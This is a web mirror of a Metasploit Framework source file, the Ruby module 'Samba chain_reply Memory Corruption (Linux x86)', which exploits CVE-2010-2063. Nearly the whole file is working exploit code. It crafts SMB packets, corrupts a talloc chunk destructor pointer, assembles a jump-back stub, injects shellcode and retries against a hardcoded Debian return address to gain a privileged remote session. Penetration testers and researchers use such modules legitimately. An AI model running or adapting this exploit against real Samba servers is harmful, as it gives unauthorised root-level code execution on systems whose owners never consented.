Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/samba/chain_reply.rb
21633 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::SMB::Client
10
include Msf::Exploit::Brute
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Samba chain_reply Memory Corruption (Linux x86)',
17
'Description' => %q{
18
This exploits a memory corruption vulnerability present in Samba versions
19
prior to 3.3.13. When handling chained response packets, Samba fails to validate
20
the offset value used when building the next part. By setting this value to a
21
number larger than the destination buffer size, an attacker can corrupt memory.
22
Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
23
cause the header of the input buffer chunk to be corrupted.
24
25
After close inspection, it appears that 3.0.x versions of Samba are not
26
exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
27
cause memory to be corrupted in an exploitable way. It is possible to corrupt the
28
heap header of the "InputBuffer", but it didn't seem possible to get the chunk
29
to be processed again prior to process exit.
30
31
In order to gain code execution, this exploit attempts to overwrite a "talloc
32
chunk" destructor function pointer.
33
34
This particular module is capable of exploiting the flaw on x86 Linux systems
35
that do not have the nx memory protection.
36
37
NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
38
for user sessions in the default configuration.
39
},
40
'Author' => [
41
'Jun Mao', # Initial discovery
42
'jduck'
43
],
44
'License' => MSF_LICENSE,
45
'References' => [
46
[ 'CVE', '2010-2063' ],
47
[ 'OSVDB', '65518' ],
48
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]
49
],
50
'Privileged' => true,
51
'Payload' => {
52
'Space' => 0x600,
53
'BadChars' => ''
54
},
55
'Platform' => 'linux',
56
'Targets' => [
57
[
58
'Linux (Debian5 3.2.5-4lenny6)',
59
{
60
'Offset2' => 0x1fec,
61
'Bruteforce' =>
62
{
63
'Start' => { 'Ret' => 0x081ed5f2 }, # jmp ecx (smbd bin)
64
'Stop' => { 'Ret' => 0x081ed5f2 },
65
'Step' => 0x300 # not used
66
}
67
}
68
],
69
[
70
'Debugging Target',
71
{
72
'Offset2' => 0x1fec,
73
'Bruteforce' =>
74
{
75
'Start' => { 'Ret' => 0xAABBCCDD },
76
'Stop' => { 'Ret' => 0xAABBCCDD },
77
'Step' => 0x300
78
}
79
}
80
],
81
],
82
'DefaultTarget' => 0,
83
'DisclosureDate' => '2010-06-16',
84
'Notes' => {
85
'Stability' => [CRASH_SERVICE_RESTARTS],
86
'SideEffects' => [IOC_IN_LOGS],
87
'Reliability' => [UNRELIABLE_SESSION]
88
}
89
)
90
)
91
92
register_options(
93
[
94
Opt::RPORT(139)
95
]
96
)
97
98
deregister_options('SMB::ProtocolVersion')
99
end
100
101
#
102
# Note: this code is duplicated from lib/rex/proto/smb/client.rb
103
#
104
# Authenticate using clear-text passwords
105
#
106
def session_setup_clear_ignore_response(user = '', pass = '', domain = '')
107
data = [ pass, user, domain, simple.client.native_os, simple.client.native_lm ].collect { |a| a + "\x00" }.join('')
108
109
pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
110
simple.client.smb_defaults(pkt['Payload']['SMB'])
111
112
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
113
pkt['Payload']['SMB'].v['Flags1'] = 0x18
114
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
115
pkt['Payload']['SMB'].v['WordCount'] = 10
116
pkt['Payload'].v['AndX'] = 255
117
pkt['Payload'].v['MaxBuff'] = 0xffdf
118
pkt['Payload'].v['MaxMPX'] = 2
119
pkt['Payload'].v['VCNum'] = 1
120
pkt['Payload'].v['PasswordLen'] = pass.length + 1
121
pkt['Payload'].v['Capabilities'] = 64
122
pkt['Payload'].v['SessionKey'] = simple.client.session_id
123
pkt['Payload'].v['Payload'] = data
124
125
simple.client.smb_send(pkt.to_s)
126
simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
127
end
128
129
def brute_exploit(addrs)
130
curr_ret = addrs['Ret']
131
132
# Although ecx always points at our buffer, sometimes the heap data gets modified
133
# and nips off the final byte of our 5 byte jump :(
134
#
135
# Solution: try repeatedly until we win.
136
#
137
50.times do
138
begin
139
print_status('Trying return address 0x%.8x...' % curr_ret)
140
141
connect(versions: [1])
142
simple.client.session_id = rand(31337)
143
144
# select(nil,nil,nil,2)
145
# puts "press any key"; $stdin.gets
146
147
#
148
# This allows us to allocate a talloc_chunk after the input buffer.
149
# If doing so fails, we are lost ...
150
#
151
10.times do
152
session_setup_clear_ignore_response('', '', '')
153
end
154
155
# We re-use a pointer from the stack and jump back to our original "inbuf"
156
distance = target['Offset2'] - 0x80
157
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
158
159
tlen = 0xc00
160
trans =
161
"\x00\x04" \
162
"\x08\x20" \
163
"\xff" + 'SMB' +
164
# SMBlogoffX
165
[0x74].pack('V') +
166
# tc->next, tc->prev
167
jmp_back + ("\x42" * 3) +
168
# ("A" * 4) + ("B" * 4) +
169
# tc->parent, tc->child
170
'CCCCDDDD' +
171
# tc->refs, must be zero
172
("\x00" * 4) +
173
# over writes tc->destructor
174
[addrs['Ret']].pack('V') +
175
"\x00\x00\x00\x00" \
176
"\xd0\x07\x0c\x00" \
177
"\xd0\x07\x0c\x00" \
178
"\x00\x00\x00\x00" \
179
"\x00\x00\x00\x00" \
180
"\x00\x00\xd0\x07" \
181
"\x43\x00\x0c\x00" \
182
"\x14\x08\x01\x00" \
183
"\x00\x00\x00\x00" \
184
"\x00\x00\x00\x00" \
185
"\x00\x00\x00\x00" \
186
"\x00\x00\x00\x00" \
187
"\x00\x00\x00\x00" \
188
"\x00\x00\x00\x00" \
189
"\x00\x00\x00\x00" \
190
"\x00\x00\x90"
191
192
# We put the shellcode first, since only part of this packet makes it into memory.
193
trans << payload.encoded
194
trans << rand_text(tlen - trans.length)
195
196
# Set what eventually becomes 'smb_off2' to our unvalidated offset value.
197
smb_off2 = target['Offset2']
198
trans[39, 2] = [smb_off2].pack('v')
199
200
sock.put(trans)
201
rescue EOFError => e
202
vprint_error(e.message)
203
rescue StandardError => e
204
print_error(e.to_s)
205
end
206
207
handler
208
disconnect
209
210
# See if we won yet..
211
select(nil, nil, nil, 1)
212
break if session_created?
213
end
214
end
215
end
216
217